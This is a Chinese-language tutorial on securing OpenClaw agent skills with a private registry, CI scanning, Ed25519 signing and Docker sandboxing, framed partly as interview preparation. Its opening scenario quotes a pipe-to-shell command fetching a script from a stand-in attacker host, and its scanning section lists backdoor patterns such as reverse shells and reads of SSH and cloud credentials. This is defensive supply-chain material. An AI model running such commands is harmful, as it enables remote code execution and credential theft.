為 OpenClaw 打造私有 Skills Registry
別再盲目信任來路不明的 skill zip 檔。用 CI/CD 掃描、Ed25519 簽章、sandbox 執行,為 OpenClaw skill 建一個私有 marketplace。

你的團隊從 ClawHub 裝了 20 個 OpenClaw skill。沒人 review。沒人檢查 zip 檔從 CDN 到你機器的過程中有沒有被竄改。其中一個 skill 在第一次執行時跑了 curl attacker.com/shell.sh | bash。等你發現的時候,你的 .env 檔案、SSH key、資料庫 credential 已經在某個 Telegram 頻道上了。這不是假設情境 — 824 個惡意 skill 已經成功混進去了。解法不是「更小心一點」。解法是建一個私有 registry,讓執行未驗證程式碼在結構上就不可能發生。
為什麼「直接用 ClawHub 就好」會害死你
所有人犯的第一個錯誤:把 skill 安裝當 npm install 來用。拉下來、跑起來、繼續做事。但 npm 有 registry,有 checksum、signing、provenance attestation。ClawHub 的 skill 呢?就是 zip 檔。透過 HTTPS 下載,沒錯。但沒有簽章驗證。下載後沒有完整性檢查。沒有 sandbox。Skill 用的是你 OpenClaw agent 有的所有權限 — 老實說,通常就是全部。
VS Code 好幾年前就搞懂這件事了。他們的 Marketplace 在上傳時掃描每個 extension、跑動態 sandbox 測試、簽署每個 package 讓 editor 能驗證傳輸途中沒被竄改。Grafana 做得更徹底 — 他們的 Plugin Frontend Sandbox 把第三方 JavaScript 隔離在獨立的執行環境裡,讓惡意 plugin 碰不到 host application。

你的 OpenClaw skill 需要同樣的東西。三個部分:
- Skills Registry — 一個用 Postgres 當後端的 REST API,儲存 skill metadata、版本、hash、簽章、review 狀態。
- CI/CD pipeline — 在任何東西進 registry 之前做靜態和動態掃描。掃描失敗 = skill 永遠不會被發布。就這樣。
- OpenClaw 整合 — 你的 agent 只從你的 registry 拉 skill、驗證簽章、然後在 sandbox 裡執行。
這裡最常見的錯誤?建了 registry 卻跳過 OpenClaw 端的簽章驗證。我看過有團隊在 CI 裡掃了所有東西、在 registry 裡簽了所有東西,然後... 載入 skill 的時候完全不檢查簽章。前面做的全部白費。
面試官真正在考的: Supply chain security。你能解釋為什麼光有 checksum 不夠嗎?答案:checksum 驗證的是完整性(檔案沒有損壞),但不是真實性(檔案來自可信任的來源)。你需要簽章來做到這一點。
Registry 資料模型
具體一點。你的 registry 需要一張 skills 表。我的長這樣:
CREATE TABLE skills (
id UUID PRIMARY KEY,
name TEXT NOT NULL,
version TEXT NOT NULL,
publisher_id TEXT NOT NULL,
manifest_json JSONB NOT NULL,
package_url TEXT NOT NULL,
sha256 TEXT NOT NULL,
signature TEXT NOT NULL, -- registry Ed25519 signature
publisher_sig TEXT, -- optional: developer's own signature
review_status TEXT NOT NULL, -- pending / approved / rejected
sandbox_profile TEXT NOT NULL, -- network-restricted / offline / full
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE UNIQUE INDEX skills_name_version_idx ON skills (name, version);每個 skill 都需要一個 manifest。把它想成 package.json,但多了真正重要的 security 相關欄位:
# skill.yaml
name: "mail-cleaner"
version: "1.2.3"
description: "Clean up old emails in IMAP inbox."
entrypoint: "index.mjs"
runtime: "nodejs18"
permissions:
- "network:imap"
- "filesystem:/tmp"
max_execution_ms: 30000
sandbox_profile: "network-restricted"
publisher:
id: "team-security"
homepage: "https://internal.example.com/security"permissions 這個欄位就是大家會跳過的。「我們之後再加。」他們永遠不會加。然後六個月後,某個 skill 需要網路存取,所有人就直接設 sandbox_profile: "full",因為沒人記錄 skill 到底需要什麼權限。在發布時就把權限記錄好。不是之後。是現在。
當 registry 收到一個發布請求時,它做四件事:
- 驗證 manifest schema。垃圾資料趁早擋掉。
- 檢查
name + version的唯一性。不允許覆蓋已核准的版本 — supply chain attack 就是這樣運作的。 - 記錄上傳檔案的 SHA-256。
- 根據 CI 掃描結果和你的內部政策設定
review_status。
我一直看到的錯誤:允許版本覆蓋。有人發布了 mail-cleaner@1.2.3,發現一個 bug,然後想用同一個版本號重新發布修正版。別讓他們這樣做。升版本號。Immutable version 是唯一能保證「你昨天驗證過的 hash 就是今天跑的程式碼」的方法。
面試官真正在考的: Security-critical 系統的資料庫設計。為什麼
(name, version)的 unique constraint 很重要?它防止覆蓋攻擊 — 一個攻陷 CI 的攻擊者沒辦法悄悄用惡意版本替換已核准的 skill 而保持同樣的版本號。
CI/CD:先掃描,再發布

這就是大多數團隊偷懶的地方。他們架了 registry、在 CI 加了一個「publish」步驟,然後就收工了。沒有掃描。Registry 變成一個花俏的 file server。
VS Code Marketplace 會拒絕 malware 掃描沒過的 extension。他們不是先發布再掃描。掃描發生在 skill 進入 registry 之前。這個順序很重要。
靜態掃描(在 CI 裡):
- Secret 掃描 — 抓出不小心 commit 進去的 API key、AWS credential、database URL。用 Gitleaks 或類似工具。我親眼看過一個 skill 的 config 檔裡有硬寫的 Stripe secret key。開發者說他「忘記」它在那裡了。是喔。
- Pattern 偵測 — Semgrep 或 CodeQL rule,標記明顯的 backdoor:下載並執行遠端 payload、base64 雙重解碼(經典的混淆技巧)、spawn reverse shell、讀取
~/.ssh或~/.aws。 - Dependency 掃描 —
npm audit、pip-audit、Trivy。一個本身零惡意程式碼的 skill 還是可能拉進被入侵的 transitive dependency。event-stream攻擊就是這樣運作的 — 惡意程式碼藏在 dependency tree 的第三層。
動態掃描(在 sandbox 裡):
開一個乾淨的 container,跑 skill,觀察它做了什麼。它有沒有嘗試解析不在 allowlist 上的 domain?有沒有讀取宣告權限以外的檔案路徑?有沒有 spawn child process?一個 5 秒的任務跑了 30 分鐘?
這裡是一個簡化版的 GitHub Actions pipeline:
jobs:
build-and-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npm test
- name: Static scan
uses: returntocorp/semgrep-action@v1
with:
config: "p/ci"
- name: Secret scan
uses: gitleaks/gitleaks-action@v2
- name: Build artifact
run: tar czf skill.tar.gz dist/ skill.yaml
- name: Publish to registry
run: node scripts/publish-skill.mjs
env:
ARTIFACT_PATH: "./skill.tar.gz"
MANIFEST_PATH: "./skill.yaml"
ARTIFACT_URL: $ARTIFACT_URL # set by upload step
REGISTRY_URL: $SKILLS_REGISTRY_URL # from GitHub secrets
REGISTRY_TOKEN: $SKILLS_REGISTRY_TOKENPublish script 本身很直觀 — hash artifact,POST 到 registry:
import fs from "node:fs";
import crypto from "node:crypto";
async function main() {
const artifactPath = process.env.ARTIFACT_PATH!;
const manifest = JSON.parse(
fs.readFileSync(process.env.MANIFEST_PATH!, "utf8"),
);
const hash = crypto
.createHash("sha256")
.update(fs.readFileSync(artifactPath))
.digest("hex");
const res = await fetch(`${process.env.REGISTRY_URL}/api/skills`, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${process.env.REGISTRY_TOKEN}`,
},
body: JSON.stringify({
manifest,
sha256: hash,
artifactUrl: process.env.ARTIFACT_URL,
ciMetadata: {
pipelineId: process.env.CI_PIPELINE_ID,
commit: process.env.CI_COMMIT_SHA,
},
}),
});
if (!res.ok) {
const body = await res.text();
console.error(`Publish failed: ${res.status} ${body}`);
process.exit(1);
}
console.log("Skill published successfully");
}
main();我最常看到的錯誤?把 publish 步驟放在一個即使前面的 job 失敗也照跑的 job 裡。在 GitHub Actions 裡用 needs: [build-and-scan]。如果 scan job 失敗了,publish job 就不該執行。看起來很明顯。我今年 review 了三個內部 pipeline,其中這個設定都是錯的。
面試官真正在考的: CI/CD 安全。「quality gate」和「security gate」有什麼差別?Quality gate 抓 bug。Security gate 抓攻擊。兩者都應該阻止部署,但 security gate 應該是不可繞過的 — 沒有
--forceflag、沒有不留 audit trail 的手動覆蓋。
Skill 簽章:雙層模型

Checksum 告訴你檔案沒有損壞。簽章告訴你誰產生了它,而且產生之後沒有被竄改。兩者你都需要。
VS Code Marketplace 會簽署每個 extension,也在推動 publisher 自行簽署他們的 package。這是一個雙層模型,而且有效:
第一層:開發者簽章(選用)
開發者用自己的 Ed25519 key pair 簽署 skill.tar.gz。這證明 artifact 來自他們本人,而不是某個攻陷 CI pipeline 的人。
第二層:Registry 簽章(必要)
Registry 用組織的 private key 簽署 (name, version, sha256, review_status, sandbox_profile)。這證明 skill 通過了 review 和掃描。這是 OpenClaw 信任的那一層。
用 Node.js 內建 crypto 生成 key pair:
import crypto from "node:crypto";
import fs from "node:fs";
const { publicKey, privateKey } = crypto.generateKeyPairSync("ed25519");
fs.writeFileSync(
"registry-ed25519.pub",
publicKey.export({ type: "spki", format: "pem" }),
);
fs.writeFileSync(
"registry-ed25519.key",
privateKey.export({ type: "pkcs8", format: "pem" }),
);Registry 在發布時簽署:
import crypto from "node:crypto";
export function signSkill(payload: {
name: string;
version: string;
sha256: string;
sandboxProfile: string;
reviewStatus: string;
}) {
const data = JSON.stringify(payload);
return crypto
.sign(null, Buffer.from(data), process.env.REGISTRY_PRIVATE_KEY_PEM!)
.toString("base64");
}
export function verifySkillSignature(
payload: object,
signatureBase64: string,
publicKeyPem: string,
) {
return crypto.verify(
null,
Buffer.from(JSON.stringify(payload)),
publicKeyPem,
Buffer.from(signatureBase64, "base64"),
);
}一個 Ed25519 常見的坑:payload 在簽署和驗證時必須 byte-identical。如果你簽的是 JSON.stringify(payload),但驗證端重建 object 時 key 的順序不同,簽章檢查就會失敗。解法:確定性地排序 key,或更好的做法是簽 raw SHA-256 hash 而不是 JSON。我曾經花了兩個小時 debug 一個「壞掉」的簽章,結果只是 JSON key 排序的問題。不要重蹈我的覆轍。
面試官真正在考的: 密碼學簽章 vs. hashing。Hash 驗證完整性。簽章驗證完整性加上真實性。Ed25519 在新系統中比 RSA 更受推薦,因為它更快、key 更小,而且能抵抗某些 side-channel attack。
Sandbox 執行:什麼都不要信

你的 skill 通過了掃描。簽章也驗證了。很好。現在還是丟進 sandbox 跑。Defense in depth 不是偏執 — 這是工程。
Sandbox 的光譜,從最輕量到最重量:
| 方式 | 隔離等級 | 效能 | 相容性 |
|---|---|---|---|
| V8 Isolates / WASM | Process 層級 | 最快 | 只有 JS/WASM |
| Docker + seccomp | Container 層級 | 快 | 任何 runtime |
| gVisor / nsjail | Syscall 過濾 | 中等 | 大部分 runtime |
| Firecracker microVM | 硬體層級 | 冷啟動較慢 | 完整 OS |
從 Docker 開始。真的。不要過度工程。Docker 加上 --read-only、--network none、memory limit、PID limit 就能擋住 90% 的威脅。等你真的需要大規模多租戶隔離時再換 Firecracker。
這裡是一個最簡化的 sandbox runner:
import { spawn } from "node:child_process";
import { randomUUID } from "node:crypto";
interface SandboxOptions {
image: string;
skillTarGzPath: string;
timeoutMs: number;
networkMode: "none" | "bridge";
memoryLimit: string;
cpuLimit: string;
}
export function runInSandbox(
opts: SandboxOptions,
payload: unknown,
): Promise<{ exitCode: number | null; stdout: string; stderr: string }> {
return new Promise((resolve, reject) => {
const name = `skill-${randomUUID()}`;
const proc = spawn("docker", [
"run", "--rm",
"--name", name,
"--memory", opts.memoryLimit,
"--cpus", opts.cpuLimit,
"--pids-limit", "64",
"--read-only",
"--network", opts.networkMode,
"-v", `${opts.skillTarGzPath}:/skill.tar.gz:ro`,
opts.image,
"node", "/runner.js",
], { stdio: ["pipe", "pipe", "pipe"] });
let stdout = "";
let stderr = "";
proc.stdout.on("data", (d) => (stdout += d.toString()));
proc.stderr.on("data", (d) => (stderr += d.toString()));
const timer = setTimeout(() => {
proc.kill("SIGKILL");
reject(new Error(`Sandbox timeout after ${opts.timeoutMs}ms`));
}, opts.timeoutMs);
proc.on("exit", (code) => {
clearTimeout(timer);
resolve({ exitCode: code, stdout, stderr });
});
proc.stdin.write(JSON.stringify(payload));
proc.stdin.end();
});
}Manifest 裡的 sandbox_profile 決定設定。一個宣告 "network:imap" 的 skill 會拿到 --network bridge,但加上 iptables rule 限制 egress 只能走 port 993。一個沒有宣告網路權限的 skill 會拿到 --network none。一個要求 "filesystem:/tmp" 的 skill 會拿到一個 tmpfs mount。其他什麼都沒有。
害死人的那個錯誤:掛載 host 檔案系統。「噢,這個 skill 需要讀一個 config 檔,讓我 -v /home/user:/data 一下。」恭喜,skill 現在可以讀你的 SSH key 了。只掛需要的東西。Read-only。永遠。
面試官真正在考的: Container 安全。
--network none和--network bridge有什麼差別?none代表零網路存取 — container 連 DNS 都解析不了。bridge給它一個虛擬網路。對於不受信任的程式碼,從none開始,只明確授予需要的東西。
接上 OpenClaw
前面這些東西,如果 OpenClaw 還是能從隨機 URL 載入 skill,就全部沒有意義。最後一步:修改 gateway 只信任你的 registry。
在 gateway 和 skill 執行之間加一個 Skills Loader 層:
Request: "load mail-cleaner@1.2.3"
↓
Skills Loader:
1. GET /api/skills/mail-cleaner/1.2.3 from Registry
2. Verify registry signature against trusted public key
3. Download artifact, verify SHA-256 matches
4. Select sandbox profile from manifest
5. Execute in sandbox
6. Return result (or reject + audit log)
Registry API endpoint 很精簡:
app.get("/api/skills/:name/:version", async (req, res) => {
const { name, version } = req.params;
const { rows } = await pool.query(
`SELECT name, version, sha256, signature,
sandbox_profile, package_url
FROM skills
WHERE name = $1 AND version = $2
AND review_status = 'approved'`,
[name, version],
);
if (!rows[0]) return res.status(404).json({ error: "not_found" });
res.json(rows[0]);
});你的 OpenClaw config 裡應該只有兩樣東西:registry URL 和 registry 的 public key。就這樣。「這個 skill 安不安全?」這個問題現在完全委派給 registry 和它的 CI/CD pipeline。Agent 不需要自己判斷。架構替你判斷。
最後一個我要點出的錯誤:有團隊建了這整套東西,然後又加了一個逃生門。「開發環境下,我們允許不驗證簽章直接載入本機 skill。」那個逃生門會永遠開著。有人把它部署到 staging。然後 production。然後你又回到原點。如果你需要 dev mode,用一個獨立的 registry 配一組獨立的 key pair。永遠不要繞過驗證 — 用一個沒那麼嚴格的 registry 代替。
面試官真正在考的: Zero-trust 架構。原則是「永不信任,永遠驗證」。即使在認證(skill 在 registry 裡)和授權(skill 已核准)之後,你還是要驗證(檢查簽章)和隔離(在 sandbox 裡跑)。每一層都假設前一層已經失敗了。
自己試試看
前置需求:
- Node.js 20+、Docker、PostgreSQL
步驟一:生成 registry 金鑰
node -e "
const crypto = require('crypto');
const fs = require('fs');
const { publicKey, privateKey } = crypto.generateKeyPairSync('ed25519');
fs.writeFileSync('registry.pub', publicKey.export({ type: 'spki', format: 'pem' }));
fs.writeFileSync('registry.key', privateKey.export({ type: 'pkcs8', format: 'pem' }));
console.log('Keys generated: registry.pub, registry.key');
"步驟二:建立 skills 表
psql -c "
CREATE TABLE skills (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
version TEXT NOT NULL,
publisher_id TEXT NOT NULL,
manifest_json JSONB NOT NULL,
package_url TEXT NOT NULL,
sha256 TEXT NOT NULL,
signature TEXT NOT NULL,
review_status TEXT NOT NULL DEFAULT 'pending',
sandbox_profile TEXT NOT NULL DEFAULT 'offline',
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
UNIQUE(name, version)
);
"步驟三:發布一個測試 skill
# Create a minimal skill
mkdir test-skill && cd test-skill
echo '{"name":"hello","version":"0.0.1"}' > skill.json
echo 'console.log("hello from sandbox")' > index.mjs
tar czf ../hello-skill.tar.gz .
cd ..
# Hash it
sha256sum hello-skill.tar.gz預期輸出: 一個 SHA-256 hash,像 a1b2c3d4...。用它來 POST 到你的 registry API,驗證完整的發布 → 簽署 → 驗證 → sandbox 流程。
疑難排解:
- 簽章驗證失敗?檢查 JSON key 排序。
JSON.stringify在不同環境下不保證一致。 - Docker sandbox 立即退出?確認你的 runner image 有裝 Node.js,而且
/runner.js存在。 - Registry 回傳 409?你在嘗試覆蓋已存在的版本。升版本號。
重點整理
Supply chain 是沒人在意的攻擊面 — 直到出事。824 個惡意 skill 已經證明了憑感覺信任 marketplace 是行不通的。建一個私有 registry、在 CI 裡先掃描再發布(不是之後才掃)、用 Ed25519 簽署讓 agent 能驗證真實性、然後把所有東西都丟進 sandbox 跑,因為即使驗證過的程式碼也可能有 bug。從 Docker 開始 — 不要讓完美主義妨礙了實際部署。然後無論如何,不要加一個開發用的「跳過驗證」flag。那個 flag 最後一定會出現在 production。一定會。